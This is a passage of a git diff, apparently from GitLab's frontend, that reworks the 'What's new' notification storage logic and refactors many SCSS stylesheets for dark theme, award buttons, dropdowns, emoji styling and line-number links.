+ openDrawer({ commit }, versionDigest) {
commit(types.OPEN_DRAWER);
- if (storageKey) {
- localStorage.setItem(storageKey, JSON.stringify(false));
+ if (versionDigest) {
+ localStorage.setItem(STORAGE_KEY, versionDigest);
}
},
- fetchItems({ commit, state }, { page, version } = { page: null, version: null }) {
+ fetchItems({ commit, state }, { page } = { page: null }) {
if (state.fetching) {
return false;
}
@@ -24,7 +25,6 @@ export default {
.get('/-/whats_new', {
params: {
page,
- version,
},
})
.then(({ data, headers }) => {
diff --git a/app/assets/javascripts/whats_new/utils/notification.js b/app/assets/javascripts/whats_new/utils/notification.js
index 52ca8058d1c..3d4326c4b3a 100644
--- a/app/assets/javascripts/whats_new/utils/notification.js
+++ b/app/assets/javascripts/whats_new/utils/notification.js
@@ -1,11 +1,18 @@
-export const getStorageKey = (appEl) => appEl.getAttribute('data-storage-key');
+export const STORAGE_KEY = 'display-whats-new-notification';
+
+export const getVersionDigest = (appEl) => appEl.getAttribute('data-version-digest');
export const setNotification = (appEl) => {
- const storageKey = getStorageKey(appEl);
+ const versionDigest = getVersionDigest(appEl);
const notificationEl = document.querySelector('.header-help');
let notificationCountEl = notificationEl.querySelector('.js-whats-new-notification-count');
- if (JSON.parse(localStorage.getItem(storageKey)) === false) {
+ const legacyStorageKey = 'display-whats-new-notification-13.10';
+ const localStoragePairs = [
+ [legacyStorageKey, false],
+ [STORAGE_KEY, versionDigest],
+ ];
+ if (localStoragePairs.some((pair) => localStorage.getItem(pair[0]) === pair[1].toString())) {
notificationEl.classList.remove('with-notifications');
if (notificationCountEl) {
notificationCountEl.parentElement.removeChild(notificationCountEl);
diff --git a/app/assets/stylesheets/_page_specific_files.scss b/app/assets/stylesheets/_page_specific_files.scss
index 4a15e0eb458..fa5ab590232 100644
--- a/app/assets/stylesheets/_page_specific_files.scss
+++ b/app/assets/stylesheets/_page_specific_files.scss
@@ -26,7 +26,6 @@
@import './pages/projects';
@import './pages/prometheus';
@import './pages/registry';
-@import './pages/runners';
@import './pages/search';
@import './pages/service_desk';
@import './pages/settings';
diff --git a/app/assets/stylesheets/application_dark.scss b/app/assets/stylesheets/application_dark.scss
index e55141e15df..90aab7ce342 100644
--- a/app/assets/stylesheets/application_dark.scss
+++ b/app/assets/stylesheets/application_dark.scss
@@ -1,3 +1,60 @@
@import './themes/dark';
@import './application';
+
+@import './themes/theme_helper';
+
+body.gl-dark {
+ @include gitlab-theme(
+ $gray-900,
+ $gray-400,
+ $gray-500,
+ $gray-800,
+ $gray-900,
+ $white
+ );
+
+ .logo-text svg {
+ fill: var(--gl-text-color);
+ }
+
+ .navbar-gitlab {
+ background-color: var(--gray-50);
+ box-shadow: 0 1px 0 0 var(--gray-100);
+
+ .navbar-sub-nav,
+ .navbar-nav {
+ li {
+ > a:hover,
+ > a:focus,
+ > button:hover,
+ > button:focus {
+ color: var(--gl-text-color);
+ background-color: var(--gray-200);
+ }
+ }
+
+ li.active,
+ li.dropdown.show {
+ > a,
+ > button {
+ color: var(--gl-text-color);
+ background-color: var(--gray-200);
+ }
+ }
+ }
+
+ .search {
+ form {
+ background-color: var(--gray-100);
+ box-shadow: inset 0 0 0 1px var(--border-color);
+
+ &:active,
+ &:hover {
+ background-color: var(--gray-100);
+ box-shadow: inset 0 0 0 1px var(--blue-200);
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/stylesheets/components/feature_highlight.scss b/app/assets/stylesheets/components/feature_highlight.scss
new file mode 100644
index 00000000000..08706951967
--- /dev/null
+++ b/app/assets/stylesheets/components/feature_highlight.scss
@@ -0,0 +1,9 @@
+.gl-badge.feature-highlight-badge {
+ background-color: $purple-light;
+ color: $purple;
+
+ &,
+ &.sm {
+ padding: 0.25rem;
+ }
+}
diff --git a/app/assets/stylesheets/fontawesome_custom.scss b/app/assets/stylesheets/fontawesome_custom.scss
deleted file mode 100644
index b9bb3edaaab..00000000000
--- a/app/assets/stylesheets/fontawesome_custom.scss
+++ /dev/null
@@ -1,43 +0,0 @@
-// Custom Font Awesome styles that render emojis in asciidoc
-.md {
- .fa {
- display: inline-block;
- font-style: normal;
- font-size: 14px;
- text-rendering: auto;
- -webkit-font-smoothing: antialiased;
- -moz-osx-font-smoothing: grayscale;
- }
-
- .fa-2x {
- font-size: 2em;
- }
-
- .fa-exclamation-triangle::before {
- content: 'âš ';
- }
-
- .fa-exclamation-circle::before {
- content: 'â—';
- }
-
- .fa-lightbulb-o::before {
- content: '💡';
- }
-
- .fa-thumb-tack::before {
- content: '📌';
- }
-
- .fa-fire::before {
- content: '🔥';
- }
-
- .fa-square-o::before {
- content: '\2610';
- }
-
- .fa-check-square-o::before {
- content: '\2611';
- }
-}
diff --git a/app/assets/stylesheets/framework/awards.scss b/app/assets/stylesheets/framework/awards.scss
index 662f7f52d61..412a1e8d6c9 100644
--- a/app/assets/stylesheets/framework/awards.scss
+++ b/app/assets/stylesheets/framework/awards.scss
@@ -122,12 +122,8 @@
}
}
-.award-control {
+.gl-button.btn.award-control {
margin: 4px 8px 4px 0;
- outline: 0;
- position: relative;
- display: block;
- float: left;
&.disabled {
cursor: default;
@@ -145,15 +141,6 @@
&:hover,
&:active,
&.is-active {
- background-color: $blue-50;
- border-color: $blue-200;
- box-shadow: none;
- outline: 0;
-
- .award-control-icon svg {
- fill: $blue-500;
- }
-
.award-control-icon-neutral {
opacity: 0;
}
@@ -164,6 +151,14 @@
}
}
+ &.active,
+ &.is-active,
+ &:active {
+ background-color: $blue-50;
+ border-color: $blue-200;
+ box-shadow: inset 0 0 2px $blue-200;
+ }
+
&.is-active {
.award-control-icon-positive {
opacity: 0;
@@ -192,10 +187,6 @@
&:focus {
outline: 0;
}
-
- .award-control-icon {
- margin: 0;
- }
}
&.is-loading {
@@ -213,9 +204,7 @@
gl-emoji,
.award-control-icon {
vertical-align: middle;
- margin-right: 0.15em;
- font-size: 1.5em;
- line-height: 1;
+ line-height: 0.5em;
}
.award-control-icon-loading {
@@ -224,11 +213,8 @@
.award-control-icon {
color: $border-gray-normal;
- margin-top: 1px;
- padding: 0 2px;
svg {
- margin-bottom: 1px;
height: $default-icon-size;
width: $default-icon-size;
border-radius: 50%;
@@ -239,10 +225,8 @@
.award-control-icon-positive,
.award-control-icon-super-positive {
@include transition(opacity, transform);
- position: absolute;
- left: 10px;
- bottom: 6px;
opacity: 0;
+ position: absolute;
path {
fill: $award-emoji-positive-add-lines;
@@ -261,7 +245,6 @@
// migrated to Vue.
.gl-button .award-emoji-block gl-emoji {
- top: -1px;
margin-top: -1px;
margin-bottom: -1px;
}
@@ -363,3 +346,7 @@
}
}
}
+
+.awards .is-active {
+ box-shadow: inset 0 0 0 1px $blue-200;
+}
diff --git a/app/assets/stylesheets/framework/ci_variable_list.scss b/app/assets/stylesheets/framework/ci_variable_list.scss
index 95025459cc9..ef4355ad157 100644
--- a/app/assets/stylesheets/framework/ci_variable_list.scss
+++ b/app/assets/stylesheets/framework/ci_variable_list.scss
@@ -75,26 +75,3 @@
padding-top: 5px;
padding-bottom: 5px;
}
-
-.ci-variable-row-remove-button {
- @include transition(color);
- flex-shrink: 0;
- display: flex;
- justify-content: center;
- align-items: center;
- width: $ci-variable-remove-button-width;
- height: $input-height;
- padding: 0;
- background: transparent;
- color: $gl-text-color-secondary;
-
- &:hover,
- &:focus {
- outline: none;
- color: $gl-text-color;
- }
-
- &[disabled] {
- color: $gl-text-color-disabled;
- }
-}
diff --git a/app/assets/stylesheets/framework/common.scss b/app/assets/stylesheets/framework/common.scss
index 5d182373fb1..652ffd79ab3 100644
--- a/app/assets/stylesheets/framework/common.scss
+++ b/app/assets/stylesheets/framework/common.scss
@@ -121,10 +121,6 @@ hr {
@include str-truncated(30%);
}
- &-60 {
- @include str-truncated(60%);
- }
-
&-100 {
@include str-truncated(100%);
}
@@ -292,11 +288,6 @@ img.emoji {
}
}
-.search_box {
- @extend .card.card-body;
- text-align: center;
-}
-
.dropzone .dz-preview .dz-progress {
border-color: $border-color !important;
@@ -426,7 +417,6 @@ img.emoji {
.mw-460 { max-width: 460px; }
.mw-6em { max-width: 6em; }
.mw-70p { max-width: 70%; }
-.mw-90p { max-width: 90%; }
// By default flex items don't shrink below their minimum content size.
// To change this, these clases set a min-width or min-height
diff --git a/app/assets/stylesheets/framework/diffs.scss b/app/assets/stylesheets/framework/diffs.scss
index bd15022eadf..bc7a31c112f 100644
--- a/app/assets/stylesheets/framework/diffs.scss
+++ b/app/assets/stylesheets/framework/diffs.scss
@@ -532,10 +532,6 @@ table.code {
&.parallel {
display: table-cell;
width: 46%;
-
- span {
- word-break: break-all;
- }
}
&.old {
diff --git a/app/assets/stylesheets/framework/dropdowns.scss b/app/assets/stylesheets/framework/dropdowns.scss
index bdde6c7b313..ff42cd836da 100644
--- a/app/assets/stylesheets/framework/dropdowns.scss
+++ b/app/assets/stylesheets/framework/dropdowns.scss
@@ -133,13 +133,15 @@
}
}
-.dropdown-menu-toggle {
+// This is double classed to solve a specificity issue with the gitlab ui buttons
+.dropdown-menu-toggle.dropdown-menu-toggle {
@extend .dropdown-toggle;
+ justify-content: flex-start;
+ overflow: hidden;
padding-right: 25px;
position: relative;
- width: 160px;
text-overflow: ellipsis;
- overflow: hidden;
+ width: 160px;
.fa {
position: absolute;
@@ -376,11 +378,13 @@
}
> a,
- > button {
+ > button,
+ > .gl-button {
display: flex;
+ justify-content: flex-start;
margin: 0;
- text-overflow: inherit;
text-align: left;
+ text-overflow: inherit;
&.btn .fa:not(:last-child) {
margin-left: 5px;
diff --git a/app/assets/stylesheets/framework/editor-lite.scss b/app/assets/stylesheets/framework/editor-lite.scss
index eda3e33a6aa..78995c6e4f5 100644
--- a/app/assets/stylesheets/framework/editor-lite.scss
+++ b/app/assets/stylesheets/framework/editor-lite.scss
@@ -24,3 +24,53 @@
[id^='editor-lite-'] {
height: 500px;
}
+
+.monaco-editor.gl-editor-lite {
+ .margin-view-overlays {
+ .line-numbers {
+ @include gl-display-flex;
+ @include gl-justify-content-end;
+ @include gl-relative;
+
+ &::before {
+ @include gl-visibility-hidden;
+ @include gl-align-self-center;
+ @include gl-bg-gray-400;
+ @include gl-mr-2;
+ @include gl-w-4;
+ @include gl-h-4;
+ mask-image: asset_url('icons-stacked.svg#link');
+ mask-repeat: no-repeat;
+ mask-size: cover;
+ mask-position: center;
+ content: '';
+ }
+
+ &:hover {
+ @include gl-text-decoration-underline;
+ cursor: pointer !important;
+ }
+
+ &:hover::before {
+ @include gl-visibility-visible;
+ }
+
+ &:focus::before {
+ @include gl-visibility-visible;
+ outline: auto;
+ }
+
+ .link-anchor {
+ @include gl-display-block;
+ @include gl-absolute;
+ @include gl-w-full;
+ @include gl-h-full;
+ }
+ }
+ }
+}
+
+.active-line-text {
+ @include gl-bg-orange-600;
+ @include gl-opacity-3;
+}
diff --git a/app/assets/stylesheets/framework/emojis.scss b/app/assets/stylesheets/framework/emojis.scss
index c5c660c1014..1ddde3d2ed6 100644
--- a/app/assets/stylesheets/framework/emojis.scss
+++ b/app/assets/stylesheets/framework/emojis.scss
@@ -1,10 +1,10 @@
gl-emoji {
font-style: normal;
display: inline-flex;
- vertical-align: middle;
+ vertical-align: baseline;
font-family: 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
- font-size: 1.4em;
- line-height: 1em;
+ font-size: 1.2em;
+ line-height: 1;
}
.user-status-emoji {
@@ -26,6 +26,13 @@ gl-emoji {
height: 30px;
// Create a width that fits 9 emojis per row
width: 100 / 9 * 1%;
+ transition: transform 0.15s cubic-bezier(0.3, 0, 0.2, 2) !important;
+ will-change: transform;
+
+ &:hover,
+ &:focus {
+ transform: scale(1.3);
+ }
}
.emoji-picker .gl-new-dropdown .dropdown-menu {
diff --git a/app/assets/stylesheets/framework/filters.scss b/app/assets/stylesheets/framework/filters.scss
index a4af45a467c..f76101d92b1 100644
--- a/app/assets/stylesheets/framework/filters.scss
+++ b/app/assets/stylesheets/framework/filters.scss
@@ -204,10 +204,6 @@
margin-bottom: 10px;
}
- &:hover {
- @extend .form-control:hover;
- }
-
&.focus,
&.focus:hover {
border-color: $blue-300;
@@ -294,14 +290,14 @@
flex-direction: column;
}
-.filtered-search-history-dropdown-toggle-button {
- flex: 1;
- width: auto;
+.filtered-search-history-dropdown-toggle-button.gl-button {
border-radius: $border-radius-default 0 0 $border-radius-default;
- border: 0;
border-right: 1px solid $border-color;
+ box-shadow: none;
color: $gl-text-color-secondary;
+ flex: 1;
transition: color 0.1s linear;
+ width: auto;
&:hover,
&:focus {
@@ -342,12 +338,6 @@
}
}
-.filter-dropdown-container {
- .dropdown-toggle {
- line-height: 22px;
- }
-}
-
@include media-breakpoint-down(sm) {
.issues-details-filters,
.epics-details-filters {
@@ -402,7 +392,6 @@
> svg {
position: absolute;
- top: 11px;
right: 6px;
}
}
diff --git a/app/assets/stylesheets/framework/header.scss b/app/assets/stylesheets/framework/header.scss
index fdb56a128c7..432be7d0b3f 100644
--- a/app/assets/stylesheets/framework/header.scss
+++ b/app/assets/stylesheets/framework/header.scss
@@ -442,22 +442,22 @@
font-weight: $gl-font-weight-normal;
margin-left: -6px;
font-size: 11px;
- color: $white;
+ color: var(--gray-950, $white);
padding: 0 5px;
line-height: 12px;
border-radius: 7px;
box-shadow: 0 1px 0 rgba($gl-header-color, 0.2);
&.green-badge {
- background-color: $green-400;
+ background-color: var(--green-400, $green-400);
}
&.merge-requests-count {
- background-color: $orange-400;
+ background-color: var(--orange-400, $orange-400);
}
&.todos-count {
- background-color: $blue-400;
+ background-color: var(--blue-400, $blue-400);
}
}
@@ -511,7 +511,7 @@
.header-user {
&.show .dropdown-menu {
margin-top: 4px;
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
left: auto;
max-height: $dropdown-max-height-lg;
@@ -580,7 +580,7 @@
.no-emoji-placeholder,
.clear-user-status {
svg {
- fill: $gl-text-color-secondary;
+ fill: var(--gray-500, $gray-500);
}
}
diff --git a/app/assets/stylesheets/framework/modal.scss b/app/assets/stylesheets/framework/modal.scss
index ec433434573..48a18e0d145 100644
--- a/app/assets/stylesheets/framework/modal.scss
+++ b/app/assets/stylesheets/framework/modal.scss
@@ -94,14 +94,6 @@ body.modal-open {
padding-right: 0 !important;
}
-.modal-no-backdrop {
- @extend .modal-dialog;
-
- .modal-content {
- box-shadow: none;
- }
-}
-
.modal {
background-color: $black-transparent;
diff --git a/app/assets/stylesheets/framework/page_header.scss b/app/assets/stylesheets/framework/page_header.scss
index 660e3dcac8d..c8b4e306a2e 100644
--- a/app/assets/stylesheets/framework/page_header.scss
+++ b/app/assets/stylesheets/framework/page_header.scss
@@ -12,28 +12,11 @@
}
}
- .header-action-buttons {
- i {
- color: $gl-text-color-secondary;
- font-size: 13px;
- margin-right: 3px;
- }
-
- @include media-breakpoint-down(xs) {
- .btn {
- width: 100%;
- margin-top: 10px;
- }
-
- .dropdown {
- width: 100%;
- }
- }
- }
-
.avatar {
- @extend .avatar-inline;
- margin-left: 0;
+ float: none;
+ display: inline-block;
+ margin-left: 2px;
+ flex-shrink: 0;
@include media-breakpoint-up(sm) {
margin-left: 4px;
diff --git a/app/assets/stylesheets/framework/responsive_tables.scss b/app/assets/stylesheets/framework/responsive_tables.scss
index 07c3eb19fd4..f57d906e73c 100644
--- a/app/assets/stylesheets/framework/responsive_tables.scss
+++ b/app/assets/stylesheets/framework/responsive_tables.scss
@@ -3,6 +3,7 @@
max-width: #{$max + '%'};
}
+.gl-responsive-table-row,
.gl-responsive-table-row-layout {
width: 100%;
@@ -17,7 +18,6 @@
}
.gl-responsive-table-row {
- @extend .gl-responsive-table-row-layout;
margin-top: 10px;
border: 1px solid $border-color;
color: $gray-500;
diff --git a/app/assets/stylesheets/framework/secondary_navigation_elements.scss b/app/assets/stylesheets/framework/secondary_navigation_elements.scss
index 2ad9a9d2dff..27b7cac2df5 100644
--- a/app/assets/stylesheets/framework/secondary_navigation_elements.scss
+++ b/app/assets/stylesheets/framework/secondary_navigation_elements.scss
@@ -108,7 +108,7 @@
> .dropdown,
> input,
> form {
- margin-right: $gl-padding-top;
+ margin-right: $gl-padding-8;
&:last-child {
margin-right: 0;
diff --git a/app/assets/stylesheets/framework/sidebar.scss b/app/assets/stylesheets/framework/sidebar.scss
index 241aaad015e..cb8a0c40f7f 100644
--- a/app/assets/stylesheets/framework/sidebar.scss
+++ b/app/assets/stylesheets/framework/sidebar.scss
@@ -58,19 +58,6 @@
height: $gl-padding;
}
}
-
- .copy-email-button { // TODO: replace with utility
- @include gl-w-full;
- @include gl-h-full;
- }
-
- .copy-email-address {
- height: 60px;
-
- &:hover {
- background: $gray-100;
- }
- }
}
.right-sidebar-expanded {
diff --git a/app/assets/stylesheets/framework/spinner.scss b/app/assets/stylesheets/framework/spinner.scss
index 2aa0ab6c1eb..c8eadce5c51 100644
--- a/app/assets/stylesheets/framework/spinner.scss
+++ b/app/assets/stylesheets/framework/spinner.scss
@@ -20,7 +20,7 @@
}
}
-@mixin spinner($size: 16px, $border-width: 2px, $color: $orange-400) {
+@mixin spinner($size: 16px, $border-width: 2px, $color: $gray-700) {
border-radius: 50%;
position: relative;
margin: 0 auto;
@@ -46,7 +46,7 @@
}
&.spinner-dark {
- @include spinner-color($gray-500);
+ @include spinner-color($gray-700);
}
&.spinner-light {
diff --git a/app/assets/stylesheets/framework/typography.scss b/app/assets/stylesheets/framework/typography.scss
index 5624a6ea8a3..648ae29e212 100644
--- a/app/assets/stylesheets/framework/typography.scss
+++ b/app/assets/stylesheets/framework/typography.scss
@@ -1,6 +1,3 @@
-// Custom Fontawesome icons
-@import 'fontawesome_custom';
-
/**
* Apply Markup (Markdown/AsciiDoc) typography
*
@@ -435,7 +432,9 @@
}
}
- a.with-attachment-icon {
+ a.with-attachment-icon,
+ a[href*='/uploads/'],
+ a[href*='storage.googleapis.com/google-code-attachments/'] {
&::before {
margin-right: 4px;
@@ -449,8 +448,6 @@
a[href*='/uploads/'],
a[href*='storage.googleapis.com/google-code-attachments/'] {
- @extend .with-attachment-icon;
-
&.no-attachment-icon {
&::before {
display: none;
@@ -507,32 +504,56 @@
text-decoration: line-through;
}
- .admonitionblock td.icon {
- width: 1%;
+ // Custom Font Awesome styles that render emojis in asciidoc
+ .fa {
+ display: inline-block;
+ font-style: normal;
+ font-size: 14px;
+ text-rendering: auto;
+ -webkit-font-smoothing: antialiased;
+ -moz-osx-font-smoothing: grayscale;
+ }
- [class^='fa icon-'] {
- @extend .fa-2x;
- }
+ .fa-2x,
+ .admonitionblock td.icon [class^='fa icon-'] {
+ font-size: 2em;
+ }
- .icon-note {
- @extend .fa-thumb-tack;
- }
+ .fa-exclamation-triangle::before,
+ .admonitionblock td.icon .icon-warning::before {
+ content: 'âš ';
+ }
- .icon-tip {
- @extend .fa-lightbulb-o;
- }
+ .fa-exclamation-circle::before,
+ .admonitionblock td.icon .icon-important::before {
+ content: 'â—';
+ }
- .icon-warning {
- @extend .fa-exclamation-triangle;
- }
+ .fa-lightbulb-o::before,
+ .admonitionblock td.icon .icon-tip::before {
+ content: '💡';
+ }
- .icon-caution {
- @extend .fa-fire;
- }
+ .fa-thumb-tack::before,
+ .admonitionblock td.icon .icon-note::before {
+ content: '📌';
+ }
- .icon-important {
- @extend .fa-exclamation-circle;
- }
+ .fa-fire::before,
+ .admonitionblock td.icon .icon-caution::before {
+ content: '🔥';
+ }
+
+ .fa-square-o::before {
+ content: '\2610';
+ }
+
+ .fa-check-square-o::before {
+ content: '\2611';
+ }
+
+ .admonitionblock td.icon {
+ width: 1%;
}
.metrics-embed {
@@ -640,12 +661,13 @@ code {
.commit-sha,
.ref-name,
.pipeline-number {
- @extend .monospace;
+ font-family: $monospace-font;
font-size: 95%;
}
-.git-revision-dropdown .dropdown-content ul li a {
- @extend .ref-name;
+.git-revision-dropdown .dropdown-content li:not(.dropdown-menu-empty-item) a {
+ font-family: $monospace-font;
+ font-size: 95%;
word-break: break-all;
}
diff --git a/app/assets/stylesheets/framework/variables.scss b/app/assets/stylesheets/framework/variables.scss
index 1aa4177c902..b5139ba7638 100644
--- a/app/assets/stylesheets/framework/variables.scss
+++ b/app/assets/stylesheets/framework/variables.scss
@@ -352,8 +352,8 @@ $border-gray-normal-dashed: darken($gray-normal, $darken-border-dashed-factor);
*/
$border-color: $gray-100;
$shadow-color: $t-gray-a-08;
-$well-expand-item: #e8f2f7;
-$well-inner-border: #eef0f2;
+$well-expand-item: #e8f2f7 !default;
+$well-inner-border: #eef0f2 !default;
$well-light-border: #f1f1f1;
$well-light-text-color: #5b6169;
@@ -590,7 +590,7 @@ $gl-btn-xs-line-height: 13px;
/*
* Badges
*/
-$badge-bg: rgba(0, 0, 0, 0.07);
+$badge-bg: rgba($black, 0.07);
/*
* Pagination
@@ -842,10 +842,10 @@ $linked-project-column-margin: 60px;
/*
Performance Bar
*/
-$perf-bar-production: #222;
-$perf-bar-staging: #291430;
-$perf-bar-development: #4c1210;
-$perf-bar-bucket-bg: #111;
+$perf-bar-production: $gray-950;
+$perf-bar-staging: $indigo-950;
+$perf-bar-development: $red-950;
+$perf-bar-bucket-bg: $black;
$perf-bar-bucket-box-shadow-from: rgba($white, 0.2);
$perf-bar-bucket-box-shadow-to: rgba($black, 0.25);
$perf-bar-canary-text: $orange-400;
@@ -924,11 +924,12 @@ Issue Analytics
$issues-analytics-popover-boarder-color: rgba(0, 0, 0, 0.15);
/*
-Merge Requests
+Merge requests
*/
$mr-tabs-height: 48px;
$mr-version-controls-height: 56px;
$mr-widget-margin-left: 40px;
+$mr-review-bar-height: calc(2rem + 13px);
/*
Compare Branches
diff --git a/app/assets/stylesheets/highlight/common.scss b/app/assets/stylesheets/highlight/common.scss
index 6c050f33b07..8270db9966e 100644
--- a/app/assets/stylesheets/highlight/common.scss
+++ b/app/assets/stylesheets/highlight/common.scss
@@ -1,5 +1,6 @@
@import '../framework/variables';
@import './conflict_colors';
+@import 'page_bundles/mixins_and_variables_and_functions';
@mixin diff-background($background, $idiff, $border) {
background: $background;
@@ -93,3 +94,30 @@
}
}
}
+
+@mixin line-number-link($color) {
+ &::before {
+ @include gl-visibility-hidden;
+ @include gl-display-inline-block;
+ @include gl-align-self-center;
+ @include gl-mt-2;
+ @include gl-mr-2;
+ @include gl-w-4;
+ @include gl-h-4;
+ @include gl-float-left;
+ background-color: $color;
+ mask-image: asset_url('icons-stacked.svg#link');
+ mask-repeat: no-repeat;
+ mask-size: cover;
+ mask-position: center;
+ content: '';
+ }
+
+ &:hover::before {
+ @include gl-visibility-visible;
+ }
+
+ &:focus::before {
+ @include gl-visibility-visible;
+ }
+}
diff --git a/app/assets/stylesheets/highlight/themes/dark.scss b/app/assets/stylesheets/highlight/themes/dark.scss
index 0dc01213606..d6523265a43 100644
--- a/app/assets/stylesheets/highlight/themes/dark.scss
+++ b/app/assets/stylesheets/highlight/themes/dark.scss
@@ -90,6 +90,10 @@ $dark-il: #de935f;
.code.dark {
// Line numbers
+ .file-line-num {
+ @include line-number-link($dark-line-num-color);
+ }
+
.line-numbers,
.diff-line-num {
background-color: $dark-main-bg;
diff --git a/app/assets/stylesheets/highlight/themes/monokai.scss b/app/assets/stylesheets/highlight/themes/monokai.scss
index 95c3e8e9103..027f2fa63d3 100644
--- a/app/assets/stylesheets/highlight/themes/monokai.scss
+++ b/app/assets/stylesheets/highlight/themes/monokai.scss
@@ -91,6 +91,10 @@ $monokai-gh: #75715e;
.code.monokai {
// Line numbers
+ .file-line-num {
+ @include line-number-link($monokai-line-num-color);
+ }
+
.line-numbers,
.diff-line-num {
background-color: $monokai-bg;
diff --git a/app/assets/stylesheets/highlight/themes/none.scss b/app/assets/stylesheets/highlight/themes/none.scss
index 4fc6e5dba39..5002726bbc5 100644
--- a/app/assets/stylesheets/highlight/themes/none.scss
+++ b/app/assets/stylesheets/highlight/themes/none.scss
@@ -11,6 +11,10 @@
.code.none {
// Line numbers
+ .file-line-num {
+ @include line-number-link($black-transparent);
+ }
+
.line-numbers,
.diff-line-num {
background-color: $gray-light;
diff --git a/app/assets/stylesheets/highlight/themes/solarized-dark.scss b/app/assets/stylesheets/highlight/themes/solarized-dark.scss
index f95f5393323..cd0cb65e4e2 100644
--- a/app/assets/stylesheets/highlight/themes/solarized-dark.scss
+++ b/app/assets/stylesheets/highlight/themes/solarized-dark.scss
@@ -94,6 +94,10 @@ $solarized-dark-il: #2aa198;
.code.solarized-dark {
// Line numbers
+ .file-line-num {
+ @include line-number-link($solarized-dark-line-color);
+ }
+
.line-numbers,
.diff-line-num {
background-color: $solarized-dark-line-bg;
diff --git a/app/assets/stylesheets/highlight/themes/solarized-light.scss b/app/assets/stylesheets/highlight/themes/solarized-light.scss
index dc4bc2f32c2..77e88053424 100644
--- a/app/assets/stylesheets/highlight/themes/solarized-light.scss
+++ b/app/assets/stylesheets/highlight/themes/solarized-light.scss
@@ -101,6 +101,10 @@ $solarized-light-il: #2aa198;
.code.solarized-light {
// Line numbers
+ .file-line-num {
+ @include line-number-link($solarized-light-line-color);
+ }
+
.line-numbers,
.diff-line-num {
background-color: $solarized-light-line-bg;
diff --git a/app/assets/stylesheets/highlight/white_base.scss b/app/assets/stylesheets/highlight/white_base.scss
index 128fe0cc046..18b2f0a5d58 100644
--- a/app/assets/stylesheets/highlight/white_base.scss
+++ b/app/assets/stylesheets/highlight/white_base.scss
@@ -78,6 +78,10 @@ $white-gc-bg: #eaf2f5;
}
// Line numbers
+.file-line-num {
+ @include line-number-link($black-transparent);
+}
+
.line-numbers,
.diff-line-num {
background-color: $gray-light;
diff --git a/app/assets/stylesheets/lazy_bundles/select2_overrides.scss b/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
index 0d40159f6de..272f94176d0 100644
--- a/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
+++ b/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
@@ -12,9 +12,9 @@
.select2-container,
.select2-container.select2-drop-above {
.select2-choice {
- background: $white;
- color: $gl-text-color;
- border-color: $border-color;
+ background: var(--white, $white);
+ color: var(--gl-text-color, $gl-text-color);
+ border-color: var(--border-color, $border-color);
height: 34px;
padding: $gl-vert-padding $gl-input-padding;
font-size: $gl-font-size;
@@ -27,6 +27,10 @@
/* stylelint-disable-next-line function-url-quotes */
background: url(asset_path('chevron-down.png')) no-repeat 2px 8px;
+ .gl-dark & {
+ filter: invert(0.9);
+ }
+
b {
display: none;
}
@@ -37,8 +41,8 @@
}
&:hover {
- border-color: $gray-darkest;
- color: $gl-text-color;
+ border-color: var(--gray-200, $gray-200);
+ color: var(--gl-text-color, $gl-text-color);
}
}
@@ -49,8 +53,8 @@
// .select2-focusser element instead.
&.select2-container-active:not(.select2-dropdown-open) {
.select2-choice {
- color: $input-focus-color;
- background-color: $input-focus-bg;
+ color: var(--gray-700, $gray-700);
+ background-color: var(--white, $white);
border-color: $input-focus-border-color;
outline: 0;
}
@@ -85,19 +89,19 @@
.select2-choices,
.select2-choice {
- border-color: $red-500;
+ border-color: var(--red-500, $red-500);
}
}
}
.select2-drop,
.select2-drop.select2-drop-above {
- background: $white;
+ background: var(--white, $white);
box-shadow: 0 2px 4px $dropdown-shadow-color;
border-radius: $gl-border-radius-base;
- border: 1px solid $border-color;
+ border: 1px solid var(--border-color, $border-color);
min-width: 175px;
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
z-index: 999;
.modal-open & {
@@ -114,7 +118,7 @@
}
.select2-drop.select2-drop-above.select2-drop-active {
- border-top: 1px solid $border-color;
+ border-top: 1px solid var(--border-color, $border-color);
margin-top: -6px;
}
@@ -128,7 +132,7 @@
.select2-dropdown-open,
.select2-dropdown-open.select2-drop-above {
.select2-choice {
- border-color: $gray-darkest;
+ border-color: var(--border-color, $border-color);
outline: 0;
}
}
@@ -136,7 +140,7 @@
.select2-container-multi {
.select2-choices {
border-radius: $border-radius-default;
- border-color: $border-color;
+ border-color: var(--border-color, $border-color);
background: none;
.select2-search-field input {
@@ -149,10 +153,10 @@
.select2-search-choice {
margin: 5px 0 0 8px;
box-shadow: none;
- border-color: $border-color;
- color: $gl-text-color;
+ border-color: var(--border-color, $border-color);
+ color: var(--gl-text-color, $gl-text-color);
line-height: 15px;
- background-color: $gray-light;
+ background-color: var(--gray-50, $gray-50);
background-image: none;
padding: 3px 18px 3px 5px;
@@ -163,7 +167,7 @@
}
&.select2-search-choice-focus {
- border-color: $gl-text-color;
+ border-color: var(--gl-text-color, $gl-text-color);
}
}
}
@@ -188,22 +192,22 @@
input {
padding: $grid-size;
background: transparent image-url('select2.png');
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
background-clip: content-box;
background-origin: content-box;
background-repeat: no-repeat;
background-position: right 0 bottom 0 !important;
- border: 1px solid $border-color;
+ border: 1px solid var(--border-color, $border-color);
border-radius: $border-radius-default;
line-height: 16px;
transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
&:focus {
- border-color: $blue-300;
+ border-color: var(--blue-300, $blue-300);
}
&.select2-active {
- background-color: $white;
+ background-color: var(--white, $white);
background-image: image-url('select2-spinner.gif') !important;
background-origin: content-box;
background-repeat: no-repeat;
@@ -236,10 +240,10 @@
.select2-highlighted {
background: transparent;
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
.select2-result-label {
- background: $gray-darker;
+ background: var(--gray-50, $gray-50);
}
}
@@ -249,14 +253,14 @@
li.select2-result-with-children > .select2-result-label {
font-weight: $gl-font-weight-bold;
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
}
}
.select2-highlighted {
.group-result {
.group-path {
- color: $gray-700;
+ color: var(--gray-700, $gray-700);
}
}
}
